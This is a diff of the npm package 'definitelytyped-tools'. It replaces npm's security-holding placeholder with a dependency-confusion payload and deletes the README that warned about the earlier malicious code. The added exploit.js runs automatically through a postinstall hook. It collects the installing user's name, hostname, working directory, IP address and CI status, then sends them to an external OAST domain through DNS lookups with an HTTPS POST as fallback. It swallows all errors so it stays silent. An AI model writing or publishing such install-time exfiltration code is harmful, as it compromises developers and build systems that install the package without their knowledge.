definitelytyped-tools 0.0.1-security → 96.99.9

package/exploit.js

@@ -0,0 +1,96 @@
+/*
+ * ==========================================================================================
+ * == FINAL, ENHANCED, & STEALTHY PROOF-OF-CONCEPT PAYLOAD
+ * ==
+ * == Target:            Dependency Confusion RCE
+ * == Author:            [Security Researcher]
+ * == Objective:         Non-destructively prove RCE by exfiltrating a safe, detailed
+ * ==                    fingerprint of the execution environment.
+ * ==
+ * == FEATURES:
+ * ==   [+] Dual-Channel Exfiltration:  Primary DNS (UDP/53) + Fallback HTTPS POST (TCP/443).
+ * ==   [+] Enhanced Fingerprinting:    Includes CI/CD detection, OS info, and user context.
+ * ==   [+] Maximum Stealth:            Uses only native Node.js APIs (no shell spawning).
+ * ==   [+] Robust Error Handling:      Designed to never crash the host install process.
+ * ==========================================================================================
+ */
+
+const os = require('os');
+const dns = require('dns');
+const https = require('https');
+
+// ============================= CONFIGURATION ==============================
+// --------------------------------------------------------------------------
+// --- REPLACE THIS WITH YOUR UNIQUE OAST (INTERACTSH) DOMAIN           ---
+const OAST_DOMAIN = 'ocvomeqbrouywnpfvqwhknntlb54bf276.oast.fun';
+// --------------------------------------------------------------------------
+// ==========================================================================
+
+// Main execution wrapped to catch any unexpected errors.
+try {
+  // A helper function to get the primary, non-internal IPv4 address.
+  const getIPAddress = () => {
+    const interfaces = os.networkInterfaces();
+    for (const name of Object.keys(interfaces)) {
+      for (const iface of interfaces[name]) {
+        if (iface.family === 'IPv4' && !iface.internal) {
+          return iface.address;
+        }
+      }
+    }
+    return '127.0.0.1'; // Fallback
+  };
+
+  // Collect a rich but safe fingerprint of the environment.
+  const fingerprint = {
+    timestamp: new Date().toISOString(),
+    user: os.userInfo().username || 'unknown_user',
+    host: os.hostname() || 'unknown_host',
+    cwd: process.cwd() || 'unknown_cwd',
+    platform: os.platform(),
+    arch: os.arch(),
+    nodeVersion: process.version,
+    ip: getIPAddress(),
+    isCI: !!(process.env.CI || process.env.GITHUB_ACTIONS || process.env.GITLAB_CI),
+  };
+
+  // --- PRIMARY EXFILTRATION: STEALTHY DNS ---
+  // This is the most likely to succeed in restricted environments.
+  try {
+    const data = `h=${fingerprint.host}__u=${fingerprint.user}__p=${fingerprint.cwd}`;
+    const hexPayload = Buffer.from(data).toString('hex');
+    const chunks = hexPayload.match(/.{1,60}/g) || []; // 60 char chunks for DNS label safety
+
+    chunks.forEach((chunk, i) => {
+      const subdomain = `p${i}.${chunk}.${OAST_DOMAIN}`;
+      // Fire-and-forget lookup. Non-blocking and silent.
+      dns.lookup(subdomain, () => {});
+    });
+  } catch (e) {
+    // Fails silently if DNS exfiltration has an error.
+  }
+
+  // --- FALLBACK EXFILTRATION: HTTPS POST ---
+  // Disguised as normal JSON API traffic.
+  try {
+    const jsonData = JSON.stringify(fingerprint);
+    const options = {
+      hostname: OAST_DOMAIN,
+      path: '/',
+      method: 'POST',
+      headers: {
+        'Content-Type': 'application/json',
+        'Content-Length': Buffer.byteLength(jsonData),
+      },
+    };
+
+    const req = https.request(options);
+    req.on('error', () => {}); // Suppress any errors to prevent crashes.
+    req.write(jsonData);
+    req.end();
+  } catch (e) {
+    // Fails silently if HTTPS exfiltration has an error.
+  }
+} catch (e) {
+  // Top-level catch to ensure the script NEVER crashes the install.
+}

package/package.json

@@ -1,6 +1,9 @@
 {
   "name": "definitelytyped-tools",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "96.99.9",
+  "description": "Enhanced PoC for Critical RCE",
+  "main": "exploit.js",
+  "scripts": {
+    "postinstall": "node exploit.js"
+  }
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=definitelytyped-tools for more information.